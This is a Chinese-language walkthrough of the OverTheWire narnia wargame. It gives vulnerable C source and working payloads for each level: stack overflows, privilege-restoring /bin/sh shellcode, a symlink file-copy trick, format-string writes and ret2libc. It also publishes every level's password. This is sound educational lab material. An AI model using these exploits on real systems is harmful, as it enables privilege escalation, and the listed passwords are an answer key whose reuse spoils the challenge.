narnia writeup

前言

  1. narnia 是 overthewire 上的一个二进制漏洞闯关游戏,总共有9个关卡

    平台上编译的二进制可执行文件没有开启 ASLR,关闭了 DEP 以及栈保护。该系列在 overthewire 上的难度系数是 2/10。
  2. 在通关结尾处作者提到如下

    作者想保证游戏的体验度,不希望大家把 writeup 公布出来,犹豫了好久,决定还是把解题过程放出来吧,一方面记录自己入坑二进制的过程,另一方面希望能给其他同学一些参考。

    level 1: narnia0 -> narnia1

    source code

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    #include <stdio.h>
    #include <stdlib.h>

    int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef){
    setreuid(geteuid(),geteuid());
    system("/bin/sh");
    }
    else {
    printf("WAY OFF!!!!\n");
    exit(1);
    }

    return 0;
    }

writeup

  1. 根据源码可以知道是要覆盖 val 变量的值,以让 val 等于0xdeadbeef。但是需要注意一点的是小端序,即要把\xef放到低地址处

  2. 从结果看,应当执行成功了,但是没有正常返回 shell,原因是管道输出给程序后,就会自动关闭,导致 shell 无法正常打开

  3. 这里修改一下 payload,可以看到成功执行:

    payload

    1
    (python -c 'print "A" * 20 + "\xef\xbe\xad\xde"';cat) | ./narnia0

solution

  • efeidiedae

level 2: narnia1 -> narnia2

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>

int main(){
int (*ret)();

if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}

printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();

return 0;
}

writeup

  1. 主程序首先声明一个函数指针ret,它会读取环境变量EGG的值并执行,因此,我们可以在 bash 中将EGG的值设成一个shellcode

  2. 我们先用如下一段shellcode

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    xor    %eax,%eax
    push %eax
    push $0x68732f2f ; //sh
    push $0x6e69622f ; /bin
    mov %esp,%ebx
    mov %eax,%ecx
    mov %eax,%edx
    mov $0xb,%al
    int $0x80
    xor %eax,%eax
    inc %eax
    int $0x80

    转换成操作码为:
    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
    结果如下:

    可以看到,只是执行execve("/bin/sh")的话仍是 narnia1 用户,不能得到 narnia2 的权限;好在程序设置了 SUID 标志位,参考上一题,我们需要执行setreuid(geteuid(),geteuid());,以让程序根据narnia1执行文件的 SUID 位将进程的 EUID 变为narnia2

  3. 修改 shellcode
    在之前的shellcode基础上加上如下部分

    1
    2
    3
    4
    5
    6
    7
    8
    804841c:	31 c0                	xor    %eax,%eax
    804841e: b0 c9 mov $0xc9,%al
    8048420: cd 80 int $0x80
    8048422: 89 c3 mov %eax,%ebx
    8048424: 89 c1 mov %eax,%ecx
    8048426: 31 c0 xor %eax,%eax
    8048428: b0 cb mov $0xcb,%al
    804842a: cd 80 int $0x80

    该部分的作用即为setreuid(geteuid(),geteuid());

  4. 成功执行

    payload

    1
    export EGG=`python -c 'print "\x31\xc0\xb0\xc9\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\xcb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"'`

solution

  • nairiepecu

level 3: narnia2 -> narnia3

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
char buf[128];

if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);

return 0;
}

writeup

  1. 这是段常见的栈溢出代码,只需要让buf溢出并将main函数的返回值覆盖为 shellcode 地址即可,下面需要进行两件事请,一是寻找main函数的返回地址位置相对于buf的偏移量,二是找出写进去的 shellcode 的地址
  2. 找函数返回地址相对于buf的偏移量:

    通过暴力的二分法,我们得到返回地址(也可以借助于msf的测试字符串),buf位置与返回地址的位置相差140个字节。
  3. 构造 payload,并找到其地址(我们借用上一题的 shellcode):

    随后在gdb中执行x/250x $esp,得到下列结果:

    找到 shellcode 的地址:0xffffd7d5
  4. 最终结果

    依然要注意,shellcode 的地址采用小端序

    payload

    1
    ./narnia2 `python -c 'print "A" * 80 + "\x31\xc0\xb0\xc9\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\xcb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "A" * 16 + "\xd5\xd7\xff\xff"'`

solution

  • vaequeezee

level 4: narnia3 -> narnia4

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){

int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];

if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}

/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}

/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

/* close 'em */
close(ifd);
close(ofd);

exit(1);
}

writeup

  1. 一开始看到 strcpy 仍然用之前的方法尝试覆盖,没有成功,因为会把 ofile (以及ifile)覆盖,进入

    1
    2
    3
    4
    if((ofd = open(ofile,O_RDWR)) < 0 ){
    printf("error opening %s\n", ofile);
    exit(-1);
    }

    时会调用exit结束程序

  2. 再看一看代码,似乎如果能将 ofile 的值改成其他文件,就会把/etc/narnia_pass/narnia4的内容读到那个文件里,而借助缓冲区溢出的相关原理,我们能很容易的覆盖 ofile 内容

  3. 我们创建一个重定向输出文件/tmp/file,并将 file 写权限打开:

    1
    touch /tmp/file;chmod o+rwx /tmp/file

    于是,进入/narnia目录,进行如下操作:

    实际上,ofile 的值被我们成功赋值为/tmp/file但是 ifile 的值却变成了./././../etc/narnia_pass/narnia4/tmp/file,直接这么做不行,但我们仍要将 ifile 与/etc/narnia_pass/narnia4联系起来

  4. 这不,还有软链接嘛

    这样,ofile 的值是/tmp/file;ifile 的值是/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/file,而它是/etc/narnia_pass/narnia4的软链接

    payload

    1
    2
    3
    4
    5
    cd /narnia && mkdir -p /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/ && \
    ln -s /etc/narnia_pass/narnia4 /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/file && \
    touch /tmp/file && chmod o+rwx /tmp/file && \
    /narnia/narnia3 /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/file && \
    cat /tmp/file

solution

  • thaenohtai

level 5: narnia4 -> narnia5

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
int i;
char buffer[256];

for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));

if(argc>1)
strcpy(buffer,argv[1]);

return 0;
}

writeup

  1. 这里可以直接用level 3的方法的:

    payload

    1
    ./narnia4 `python -c 'print "A" * 220 + "\x31\xc0\xb0\xc9\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\xcb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "A" * 8 + "\xde\xd7\xff\xff'`

solution

  • faimahchiy

level 6: narnia5 -> narnia6

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
int i = 1;
char buffer[64];

snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");

if(i==500){
printf("GOOD\n");
setreuid(geteuid(),geteuid());
system("/bin/sh");
}

printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}

writeup

  1. 提示似乎是在暗示点什么,之前的题都是缓冲区溢出,这里用到了格式化字符串漏洞的利用。通过

    1
    2
    printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
    printf ("i = %d (%p)\n", i, &i);

    打印i的地址也给了我们,而前面的snprintf函数会造成格式化字符串漏洞

  2. 先找格式化字符串距离当前位置的偏移

    偏移量是 5

  3. 可以向0xffffd62c写数据了

    payload

    1
    ./narnia5 `python -c 'print "\x2c\xd6\xff\xff" + "%.496x%5$n"'`

solution

  • neezocaeng

level 7: narnia6 -> narnia7

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern char **environ;

// tired of fixing values...
// - morla
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax"
);
}

int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;

if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));

strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
//if(((unsigned long)fp & 0xff000000) == 0xff000000)
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
setreuid(geteuid(),geteuid());
fp(b1);

exit(1);
}

writeup

  1. 看代码的后面几行,程序正常执行时会在退出前调用fp指向的函数,也就是puts。如果能让fp指向一个我们想要的函数(比如system),再将b1的值换成我们想要的参数(比如/bin/sh),配合着之前的setreuid(geteuid(),geteuid());,我们就能得到narnia7的 shell 了

  2. 再看 main 函数前两行

    1
    2
    char b1[8], b2[8];
    int (*fp)(char *)=(int(*)(char *))&puts, i;

    在栈中,b2、b1、fp、i 的地址依次按从低到高的顺序紧密排列,这样,我们借助strcpy就可以先让b1覆盖fp的值,再让b2覆盖b1fp的值,就像这样:

    1
    2
    strcpy(b1, "AAAAAAAA<system_addr>")
    strcpy(b2, "AAAAAAAA/bin/sh");

    这样赋值以后,fp的值就变成system函数的地址,b2的值变成/bin/shfp(b1)执行的就是system("/bin/sh")。所以,找到system函数的地址是本题的关键。

  3. 库函数地址的差异实际上是 libc 基址的差异,库函数在libc中的偏移是不变的。在开启了 ASLR 的平台上,每次程序载入时,libc 的基址都会不同(比如:system_addr = libc_start_main_addr - libc_start_main_offset + system_offset)。由于 narnia 平台上关闭了 ASLR,所以只要找到system地址即可。具体过程如下:

    1. 泄漏libc_start_main函数地址:
      先反汇编main函数,找到printf的地址

      设置断点,进入printf函数,查看栈上的内容,在 0060 位置处找到libc_start_main信息:


      libc_start_main函数地址:0xf7e2f637 - 247 = 0xf7e2f540
    2. libc-database中查看 libc 的版本
    3. 耐心地查看每一个 libc 版本,找到system函数偏移(经检验,本题编译用的是第二个)
    4. 计算system地址:

      system_offset = 0xf7e2f637 - 0x18637 + 0x0003a940 = 0xf7e51940
  4. 利用:

    payload

    1
    ./narnia6 $(python -c 'print "A" * 8 + "\x40\x19\xe5\xf7"') $(python -c 'print "A" * 8 + "/bin/sh"')

solution

  • ahkiaziphu

level 8: narnia7 -> narnia8

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int goodfunction();
int hackedfunction();

int vuln(const char *format){
char buffer[128];
int (*ptrf)();

memset(buffer, 0, sizeof(buffer));
printf("goodfunction() = %p\n", goodfunction);
printf("hackedfunction() = %p\n\n", hackedfunction);

ptrf = goodfunction;
printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

printf("I guess you want to come to the hackedfunction...\n");
sleep(2);
ptrf = goodfunction;

snprintf(buffer, sizeof buffer, format);

return ptrf();
}

int main(int argc, char **argv){
if (argc <= 1){
fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
exit(-1);
}
exit(vuln(argv[1]));
}

int goodfunction(){
printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
fflush(stdout);

return 0;
}

int hackedfunction(){
printf("Way to go!!!!");
fflush(stdout);
setreuid(geteuid(),geteuid());
system("/bin/sh");

return 0;
}

writeup

  1. main函数最后会调用vuln(argv[1])vuln返回的是ptrf(),看到vuln里的

    1
    snprintf(buffer, sizeof buffer, format);

    首先想到利用格式化字符串漏洞覆写ptrf的值,使其指向hackedfunction

  2. 不过这里不能确定format距离调用snprintf(buffer, sizeof buffer, format);处的偏移位置。比较暴力的办法就是挨个试。

  3. 最终,试出偏移位置是 6

payload

1
./narnia7 `python -c 'print "\x8c\xd5\xff\xff" + "%134514514x%6$n"'`

solution

  • mohthuphog

level 9: narnia8 -> narnia9

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global unti i find a fix
// -morla
int i;

void func(char *b){
char *blah=b;
char bok[20];
//int i=0;

memset(bok, '\0', sizeof(bok));
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];

printf("%s\n",bok);
}

int main(int argc, char **argv){

if(argc > 1)
func(argv[1]);
else
printf("%s argument\n", argv[0]);

return 0;
}

writeup

  1. func函数里bok会造成缓冲区溢出,没有其他函数的帮忙,这里需要我们自己写入 shellcode,覆盖func的返回地址。

  2. bokblah地址低且紧密相连,

    1
    2
    for(i=0; blah[i] != '\0'; i++)
    bok[i]=blah[i];

    在给bok赋值时,如果argv[1]的长度超过 20,bok就会覆盖blah的值,而blah存放着argv[1]的基地址指针,修改后就不能正确访问我们的输入字符串了。

  3. 要想办法找到blah原来的值(即输入字符串的基地址),在输入较长的 payload 时注意把输入字符串的基地址覆盖回去,这样就能将后续的输入内容拷贝到bok中去,进而修改func的返回地址。

  4. 先借助反汇编func函数部分,我们在func中的printf处设置断点

  5. 由于bok是 20 个字节的缓冲区,我们只需覆盖 20 个字节即可看到 blah 的值

    0xffffd5fc处的0xffffd802,它与0xffffd610处的值相同,而这应该就是b所在位置

  6. 我们尝试用\x02\xd8\xff\xff覆盖blah

    发现bblah的地址不一致,而且由于我们增加了\x02\xd8\xff\xff四个字节,b的地址相对于刚才减少了 4

  7. 当我们将地址改成\xfe\xd7\xff\xff

    又和b的值一致了。经过多次测试我们发现,缓冲区的限制是 20 个字节,计字符串长度为 n+20,则字符串基址将相应地减少 n。比如像这样:

    0xffffd7ee的地址计算方法为:0xffffd802 - 4 - 12 - 4,这里也很容易看出,func函数的返回地址存放在ABCD所在位置处,因此,我们只需将其改成 shellcode 的地址即可

  8. 接下来,我们需要知道程序执行时blah的实际值

    然后按照上面的步骤,0xffffd80a - 4 - 12 - 4 - 44 = 0xffffd7ca,后面 44 字节是 shellcode 的长度,然后计算 shellcode 的地址0xffffd7ca + 20 + 4 + 12 + 4 = 0xffffd7f2作为第二个 4 字节的值,于是成功构造了pyaload:

    payload

    1
    ./narnia8 $(python -c 'print "A" * 20 + "\xca\xd7\xff\xff" + "\x90" * 12 + "\xf2\xd7\xff\xff" + "\x31\xc0\xb0\xc9\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\xcb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"')

solution

  • eiL5fealae

总结

  • 还是太菜了,前后断断续续花了一个多礼拜才写完。对于一些底层基础还是不够扎实,比如 level 7 中的 ret2lib 也是照葫芦画瓢,对程序的装载、链接、空间分配等还是不太了解。
  • 要多读书多实践 :)

参考

  1. 通过GOT覆写实现ret2libc - 64-bit Linux stack smashing tutorial: Part 3
  2. CCTF pwn3格式化字符串漏洞详细writeup